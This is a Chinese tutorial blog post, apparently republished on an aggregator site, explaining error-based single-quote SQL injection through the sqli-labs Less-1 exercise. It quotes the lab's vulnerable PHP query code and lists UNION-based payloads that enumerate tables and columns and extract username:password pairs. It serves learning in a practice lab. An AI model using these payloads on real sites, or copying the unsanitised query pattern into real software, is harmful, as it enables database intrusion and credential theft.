IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 关于sql注入入门的一些事 -> 正文阅读

[PHP知识库]关于sql注入入门的一些事

0x00 Outline

我们经常提到各种sql注入,并且在学习的过程中我们看到了各种做题记录(比如sqllab)等等,这篇博客就不跟风啦!

我们从另外一个角度来学习sql注入,即剖析原理!硬读代码(强行从黑盒变成白盒,目的就是为了面对黑盒的时候心中有数

我们这篇博客的一个思路就是弄清楚,为什么xxx题叫xxx,这个题的类型是别人总结好的,那我们来看看为什么叫这个!


例如

GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

为什么叫GET - Error based Single quotes - string

0x01浅跟一手风,我们从sqllab开始吧!

less-1

做过sqllab的同学都知道,这第一关就是个

GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

if(isset($_GET['id']))
{
$id=$_GET['id'];
 ?
/*这里是用来log的,跟这个题没啥关系
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
*/
?
// 以下是用来进行数据库操作的代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print("你的查询字符串是:");
print($sql);
echo "<br/>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

GET

if(isset($_GET['id']))
{
$id=$_GET['id'];
  ...
}

题目通过get方式请求传入一个参数,即我们的查询参数都给到php文件中的全局变量数组$_GET['id']

Error Based

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

可以看见我们传入的语句被放入了$sql变量中的一部分 id = ' $id' 这个后引号限制住了我们的所有操作,如果想要hack点什么东西就必须得越过这个单引号。

为了确保我的目的是对的(越过单引号)我需要先传一个

payload: .../?id=0’

request: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''0'' LIMIT 0,1' at line 1

这样就验证可行了

Single quotes

当使用<form>标签的get或者post方法时,最后会给php中的某一个变量分别赋予用户输入的值,而在赋值完之后把这些变量加入到sql语句中时,会自动加上两个单引号。比如用户输入abc,最后在sql语句中会自动变成 ’ abc ‘ 的形式,因此使用一个单引号等价于让之前语句提前结束了

payload

剩下我们需要干的就是前面说的,绕过这个单引号用--+,剩下的爆库查表就不说了,如果有问题请去看sql的语法,用这个lab学的更快哦

https://www.mysqltutorial.org/

//爆库
?id=-1' union select 1,2,database() --+
//爆表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
//爆列
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
//字段
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
//payload
?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+

这篇blog是一个test,看一下这样子替代做题记录效果如何

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-04-26 11:23:28  更:2022-04-26 11:24:15 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 11:19:05-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码